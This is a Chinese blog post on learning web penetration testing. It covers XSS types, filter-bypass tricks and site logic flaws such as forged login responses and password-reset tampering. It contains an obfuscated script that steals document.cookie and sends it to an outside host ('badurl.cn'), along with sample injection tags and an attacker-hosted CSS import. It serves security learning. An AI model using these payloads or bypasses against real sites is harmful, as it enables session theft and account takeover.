1. 程式人生 > >xss注入1.0

xss注入1.0

0X01綜述

這段時間一直著手兩樣東西,xss技巧與網站邏輯分析。

本文簡單就這兩部分對網站滲透測試進行簡單分析。

0X02XSS測試

先從xss技巧說起,xss來源就是網站沒有對使用者行為輸入過濾就直接顯示造成的任意js程式碼執行,也就是讓另一個使用者以他的許可權來執行你的命令,做個不恰當的比喻就是,你想從銀行(後臺)搶錢(許可權),搶剛剛從銀行取錢出來的人(已獲取正當許可權的使用者)總比搶銀行金庫(管理員後臺)容易。

而xss執行方式通常分為三種,反射型,儲存型,DOM型,

先從儲存型說起,儲存型原理就是一些網站往往將你輸入的資料不加過濾的存入資料庫,並回顯到網頁上,而當別人的瀏覽器解析網站回顯出來的資料時,可能就會執行其中的程式碼部分,例如,常見的使用者評論區,當你評論”<a>***</a>”到評論區,別人能看到的可能只有”***”,因為你的兩個<a></a>標籤被瀏覽器解析為html檔案的標籤部分了,而不是你評論的資料部分。而當你運用的標籤是<script>的時候,就可以通過這種方式執行任意js程式碼了,而諸多標籤往往還帶有神奇的src屬性來跨域讀取檔案,而如果src 屬性指向另一個寫滿了javascript惡意程式碼的html頁面,當前頁面含有src屬性的標籤可能不會正常顯示,但是指向的html頁面內容缺是被瀏覽器完全執行了,這種方式從你引入jQuery的過程就可見一斑:

通過標明“<script src=”jquery.js”></script>”,跨域檔案jQuery.js裡的js函式就可以被隨意呼叫。

然後就是反射型xss漏洞了,反射型漏洞的xss的惡意程式碼可以被寫在url指向的檔案中,然後執行完了頁面直接重定向到正常頁面,僅能瀏覽前端的你很難發現你的瀏覽器真正做過什麼,另一個方法是直接把惡意程式碼寫進url引數中,然後回顯在頁面裡,和sql注入的方式有點像,只不過sql注入目的是由後臺執行惡意sql語句,xss目的是存入後臺,然後回顯到其它使用者瀏覽器,由其它使用者執行惡意javascript等指令碼程式碼。

最後就是DOM型xss了,與前兩種方式不同的是DOM並不需要原來回顯頁面上存在漏洞,(沒有漏洞,就創造漏洞!),例如通過在url中寫入一些程式碼,誘使受害者點選url執行其中的惡意程式碼,然後使瀏覽器主動在已從伺服器返回的頁面上新增html元素(DOM節點)來新增漏洞。

大概就是這麼多,很多地方感覺自己講得不太清,不過估計以後洞拿多了就好了。然後flash xss暫時略過,積累一下經驗,之後的文章會說一下。

0X03XSS實戰&繞過

然後就是各種插入技巧了,個人感覺,xss想要成功主要有三個方法,一來要靠劍走偏鋒,挑一些程式設計師往往想不到的小頁面小地方注入,正如一個正門(首頁)把守森嚴(過濾完善)的城堡(站點),如果如果打不過守衛(繞不開過濾),就要考慮要不要從側面的狗洞(邊際頁面)鑽進去。二來就是神奇的繞過技巧,堅信沒有繞不過的過濾,不過這要求對js程式碼的神奇用法還有各種框架過濾函式的深度瞭解,主要靠積累和經驗。最後就要靠瞎貓碰死耗子的運氣了,大概就是一些為了進度不顧安全的程式設計師恰好忘了在某個地方過濾輸入或是輸出的時候,你的機會就來了。

先就前兩點法則分別簡單說一說吧,首先劍走偏鋒,手工上的原則就是見框就插,反覆插,花式插,換平臺插(例如app插完資料來手機看,PC瀏覽器插完去手機瀏覽器看,見過一個地方web端沒問題,手機瀏覽器開啟就會多出一段網頁上不可見程式碼,通過手機上安裝firefox看原始碼才看到的,並且藉此成功彈框,而且只是Android才會有問題,ios沒事,但Android適用人群之廣,同樣使得問題十分嚴重),搞URL引數,搞完了發現所有地方正常顯示沒彈框也不要急,耐心開啟原始碼,ctrl+F尋找插入的關鍵詞,可能在某個網頁沒有顯示的地方,你只不過因為某個標籤沒閉合才沒彈框。指令碼基本就是掃站,burp的activescan是個好東西,雖然我之前並沒有在裡面看到可用的xss但是確實是有掃描xss的功能的。說起來一直沒搞懂的東西就是fuzzing xss是怎麼搞,我的設想是直接使用burpsuit列個可能成功的xss字典,然後使用暴力挨個空挨個插的方法找結果,然而比較尷尬的地方在於好像沒辦法根據返回狀態來判定是否成功插進去,看起來需要爬蟲才行。二來就是過濾繞過,常見過濾有長度過濾,特殊字元遮蔽(刪除),字元轉義,字元輸入限制。

payload:

<script>A='ocumen';

B='t';F=Image

eval('C=d'+A+B);

D=C.cookie;

E=new F();

E.src='//badurl.cn/?'+D

</script>

特殊字元遮蔽,例如吞掉script字串的,就要靠花式payload了,例如新增反斜槓,大小寫混合(html對大小寫不敏感,但是script內部內容為javascript對大小寫敏感)。之前還見過只吞第一個<script>標籤的一款移動端app,但是後來發現後面的雖然沒吞,但是全轉義了…

當時用過一種xss方式是<<script>script>可惜沒成功,後來在某個網站上發現一模一樣的過濾,發現插<a>沒問題,但是<script>就會被吞(告訴我們不能拿<script>標籤測試)然後我用了payload:”<><script>”就可以成功繞過,但是後來發現不如直接用<imgsrc=”” onerror=””>來,用起來更順手。而且發現程式設計師好像就只過濾了”script”前面第一對<>之間的內容。然後,還有汙染字元新增的方法來避過正則表示式的匹配,例如/**/,%09(tab)可以同來代替空格,%00可以用來截斷等。參見http://www.freebuf.com/articles/web/95446.html

繞字元轉義是最蛋疼,大概也是我技術不過關,遇到轉移首先就要用payload:””’<>_#@$”來看看到底程式設計師過濾了什麼,然後繞過通常方法是改編碼方式,但是我沒成功過…見過比較賤的,連你嘗試轉義後的&,#,/,;這種東西都全部轉義…覺得基本就可以換地方注了,然後還有寬字元,之前試過寬字元sql(測試蘭州交通大學自動化學院網站用過)成功了,但是xss也沒怎麼用過。

最後就是限制輸入了,首先要做的就是分析網頁js原始碼,轉義字元也是,有的過濾轉義就是在網頁端做的,直接抓包改包應該可以輕鬆繞過,但是這種抓包添payload的行為暫時還沒試過。如果輸入限制是在後臺做的(正確的過濾方式),敏感字元直接返回錯誤的,參考特殊字元遮蔽。

感覺第三點也多少說一下,關於網站編寫者,有的時候真的忘了某個過濾或者過濾得不正確其實再正常不過(要不然你的xss還怎麼搞),這種時候就有點玄學和腦洞的意味了,堅持不懈地搞,花式搞,想起來就搞一下,還有徹底分析網站js原始碼是十分有必要的,這種問題在剛上線的新站(例如眾測中的站)會很多。

總結一下常見的注入標籤:

<img src= onerror=>

任意標籤onchick 

<img src="xss.js">

<sricpt src="xss.js">

href="javascript:alert('test')"

href='vbscript:MsgBox("XSS")'

css import

<style>

@import url("http://attacker.org/malicious.css");

</style>
 

然後為了防止後臺警惕你的輸入,你可以先用<a>***</a>來檢視可能的漏洞,用"/<>#*&_$’測試已經新增的過濾內容。

XSS大概就是這樣吧,推薦的入門資料,http://www.freebuf.com/articles/web/40520.html一系列的四篇文章,大概看過三遍,這篇blog裡也有多處引用Black-Hole的觀點。還有一本書《xss跨站指令碼攻擊與防禦》邱永華寫的。還有就是wooyun上,多多學習中,尤其wooyun上各種大大找洞的花式簡直堪稱科幻,漏洞利用的話,覺得自己沒做過網站開發維護,很多指令碼真的看不懂,正在嘗試搭個站來學一下。

0X04網站邏輯漏洞

然後就是網站邏輯漏洞了,首先關於明文傳輸的問題,其實不算問題,畢竟開發者大部分還是直接明文傳密碼,而且中間人攻擊這種事感覺也不能全算成網站開發者管理者的鍋。但是建議的是直接在網頁上引用控制元件做md5(務必加鹽,金鑰直接md5很多時候跟明文傳輸其實差別不大,尤其弱金鑰md5後再暴庫並不會增加很大工作量),然後傳,目的是防止抓包還有爆破(參見http://www.wooyun.org/bugs/wooyun-2016-0226989),另外通過設定token和flag,也可以防爆破,或者加一個POST引數放資料包的hash值,這幾個是有待試驗的,然後明文傳輸,主要的檢測方法一個是burpsuite的activescan,另一個就是抓包(尤其登入驗證的資料包)看引數。

另一個常見的網站邏輯漏洞就是登入後的驗證方法的處理,有的程式設計師會設定登入後在後臺做完驗證返回json的表單過來表示登陸狀態,常見的放一個{“error”:0,”data”:{“stsus”:0}},然後在前端通過重定向到正常頁面,通過burpsuite抓response包改引數(改成成功登陸的引數),就可以繞過驗證(參見http://www.wooyun.org/bugs/wooyun-2010-0216454),防禦方法是直接在後臺確定驗證結果,正確則直接返回正常頁面,否則返回錯誤頁面。

然後就是關於購物平臺返回引數的問題,暫時沒試過,見過的一個坑點在於抓包,然後把貨物數量對應引數改成-1,有的購物平臺購物車中貨物價格可能就會變成負數。

然後說回到使用者驗證的問題,關於重置密碼相關的兩個實現問題,一個問題是有的網站會採取一個頁面先驗證當前使用者是否為合法使用者(例如要求你輸入舊密碼),然後返回一個新頁面來輸入新密碼和驗證,在新頁面返回的時候,如果僅返回使用者名稱和使用者輸入的新密碼,可以通過抓包修改使用者名稱來修改別人的密碼,這種問題的解決方法就是直接把驗證和新密碼輸入放在同一個頁面進行。另一個問題就是郵箱修改/驗證問題,有的網站會通過向驗證郵箱中傳送驗證連結,其中包含某些資料拼接的hash值甚至直接拼接一些資料(例如hash(使用者名稱|Unix時間戳|郵箱))來讓使用者點選驗證。但是當hash引數可能被破解時這種方式就會很危險,攻擊者可以通過拼接其他使用者引數來繞過驗證連結這種驗證方式。

0X05日常訓練

初學階段大體就是這些,每天的日常往往是見框就插,w3c,burpsuite掃站,還有在網站修改各種使用者資訊,然後抓包來尋找驗證過程中可能存在的漏洞。